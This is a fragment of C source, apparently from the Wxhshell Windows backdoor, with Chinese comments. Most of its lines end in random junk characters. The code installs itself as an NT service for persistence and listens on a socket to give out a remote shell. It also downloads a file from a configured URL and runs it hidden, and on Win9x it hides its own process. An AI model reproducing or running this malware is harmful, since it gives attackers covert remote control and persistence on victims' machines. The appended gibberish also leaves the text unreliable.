DWORD BasePriority; T fIOS]
ULONG UniqueProcessId; [Pjitw/?
ULONG InheritedFromUniqueProcessId; v#s*I/kw
} PROCESS_BASIC_INFORMATION; z6B#F<h
W)T'?b'.
PROCNTQSIP NtQueryInformationProcess; b]xoXC6@ t
KkpbZ7\@
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; >O
rIY
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; o6~JAvw
?D)$OCS
HANDLE hProcess; s>\^dtG7
PROCESS_BASIC_INFORMATION pbi; EVaHb;
#%E^cGfY
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL");
!j%
if(NULL == hInst ) return 0; kkb+qo
J}8p}8eF,
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); O(=9&PRi
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ]&D=*:c
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ;;Z'd@
&&LB0vH!J
if (!NtQueryInformationProcess) return 0; ir{
4k
H7Z`a QC
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); {29aNm
if(!hProcess) return 0; tk h
*su
m`q&[:
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Jn|i!
}
d8\ Jg
CloseHandle(hProcess); Qhc;Zl
J#i7'9g
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Piwox1T;
if(hProcess==NULL) return 0; uCuB>x&
M&faa7
HMODULE hMod; QT%vrXzz
char procName[255]; OA\]|2 :
unsigned long cbNeeded; VMJaL}J]
k%O3\q
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); QE)zH)(
I''n1v?N
CloseHandle(hProcess); 3)?WSOsL:
|V{ Q
if(strstr(procName,"services")) return 1; // 以服务启动 vp!F6ZwO
+'olC^?5 }
return 0; // 注册表启动 )YAU|sCAi$
} F$'u`
X?< L<:.
// 主模块 Qyx~={.C~
int StartWxhshell(LPSTR lpCmdLine) Lq;iR
{ d-tg^Ot#
SOCKET wsl; ,t wB" *
BOOL val=TRUE; L1(-xNUo_i
int port=0; U{pg
y#/
struct sockaddr_in door; C8Mx>6
F?H=2mzKbz
if(wscfg.ws_autoins) Install(); &zEBfr
=GF=_Ac
port=atoi(lpCmdLine); h:?qd
);t+~YPS
if(port<=0) port=wscfg.ws_port; CqZHs
9+e&
i+~BVb
WSADATA data; 2?Jw0Wq5D
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; .S/zxf~h
0}`-vOLd-
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ##xvuLy-6
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Z~-N'Lt{
door.sin_family = AF_INET; Y(kf<Wo
door.sin_addr.s_addr = inet_addr("127.0.0.1"); 1%N*GJlwJ
door.sin_port = htons(port); 'OP0#`6`
4Nt4(3Kf
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { BU??}{
closesocket(wsl); 7t<MHdw
return 1; GQ@mQ=i
} J+
S]Qoz
9Scg:}Nj
if(listen(wsl,2) == INVALID_SOCKET) { ,~ZD"'*n6g
closesocket(wsl); GCO: !,1
return 1; xYYa%PhIC
} p!uB8F
Wxhshell(wsl); G&1bhi52
WSACleanup(); '&Y_,-i
\'Et)uD*
return 0; t? 6 et1~
5BXku=M
} zN]%p>,)HB
r#)1/`h
// 以NT服务方式启动 pl1CPxSdO
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Rb:<?&7ZzN
{ u|Mx}
DWORD status = 0; 81s
}4
DWORD specificError = 0xfffffff; {b4`\I@<
-mRgB"8
serviceStatus.dwServiceType = SERVICE_WIN32; ;zD4#7=
serviceStatus.dwCurrentState = SERVICE_START_PENDING; Q#H"Se
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE;
w 0=
serviceStatus.dwWin32ExitCode = 0; 23L>)Q
serviceStatus.dwServiceSpecificExitCode = 0; O |P<s+
serviceStatus.dwCheckPoint = 0; +8N6tw/&
serviceStatus.dwWaitHint = 0; !^su=c
z_ycH%p
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 0: hv6Ge^
if (hServiceStatusHandle==0) return; YuknZ&Q
/R=MX>JA;
status = GetLastError(); r W[;3yMf
if (status!=NO_ERROR) `DgK$ QM
{ ~BJE~
serviceStatus.dwCurrentState = SERVICE_STOPPED; Pm/i,T6&\
serviceStatus.dwCheckPoint = 0; *{fs{gFw9
serviceStatus.dwWaitHint = 0; AK&>3D
serviceStatus.dwWin32ExitCode = status; MAFdJ+n#
serviceStatus.dwServiceSpecificExitCode = specificError; [F+W]Jk,
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Zc1x"j
return; si6CWsb_ f
} yFDeYPZP
Z)E)-2U$@
serviceStatus.dwCurrentState = SERVICE_RUNNING; ,jis@]:
serviceStatus.dwCheckPoint = 0; wT":
serviceStatus.dwWaitHint = 0; }5oI` 9VT
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Uz! 3){E
} Jk\-e`eE
#d\&6'O
// 处理NT服务事件,比如:启动、停止 S5 q1Mn
VOID WINAPI NTServiceHandler(DWORD fdwControl) lRg?||1ik
{ eZT8gKbjJ)
switch(fdwControl) 1a{3k#}
{ &Z]}rn
case SERVICE_CONTROL_STOP: Z@+nkTJ9&t
serviceStatus.dwWin32ExitCode = 0; /v5A)A$7
serviceStatus.dwCurrentState = SERVICE_STOPPED; 8ex;g^e
serviceStatus.dwCheckPoint = 0; NC-K`)
serviceStatus.dwWaitHint = 0; _`\!+qGq
{ YWH>tt9
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;NRh0)%|o
} [C6ba{9B
return; >bZ-mX)j\0
case SERVICE_CONTROL_PAUSE: Ei @
serviceStatus.dwCurrentState = SERVICE_PAUSED; \/3(>g?4
break; 0 x-g0]
case SERVICE_CONTROL_CONTINUE: TxG@#" ^g}
serviceStatus.dwCurrentState = SERVICE_RUNNING; e~lFjr]
break; }BlyEcw'aN
case SERVICE_CONTROL_INTERROGATE: r4*H96l
break; `K.B`
}; (Fzy8
s
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 96V8R<
} VmPh''Z%-
#4$YQ
// 标准应用程序主函数 uM[|>t
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) tpcB}HUv
{ J Ah!#S(
diJpbR^JP
// 获取操作系统版本 3qe`#j
OsIsNt=GetOsVer(); ^w1+b;)
GetModuleFileName(NULL,ExeFile,MAX_PATH); (y>N\xS9
d[3me{Rs
// 从命令行安装 G:$kGzhJ
if(strpbrk(lpCmdLine,"iI")) Install(); 15j5F5P
VR>!Ch
// 下载执行文件 t(*n[7e
if(wscfg.ws_downexe) { 6Oy:5Ps8a
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 6;'[v}O^^
WinExec(wscfg.ws_filenam,SW_HIDE); IVSC7SBiT
} (?1$
KZ7B2
if(!OsIsNt) { 'xqyG XI
// 如果时win9x,隐藏进程并且设置为注册表启动 ]z^jz#>um&
HideProc(); F7JO/U^oU
StartWxhshell(lpCmdLine); # `E
} La1:WYt
else X.4WVI
if(StartFromService()) jD S\
// 以服务方式启动 G^)]FwTs
StartServiceCtrlDispatcher(DispatchTable); K _VIk'RB
else -1Li&K7
// 普通方式启动 mnM]@8^G
StartWxhshell(lpCmdLine); +-'F]?DN'
cwzkA,e@
return 0; 7Fo^:"
}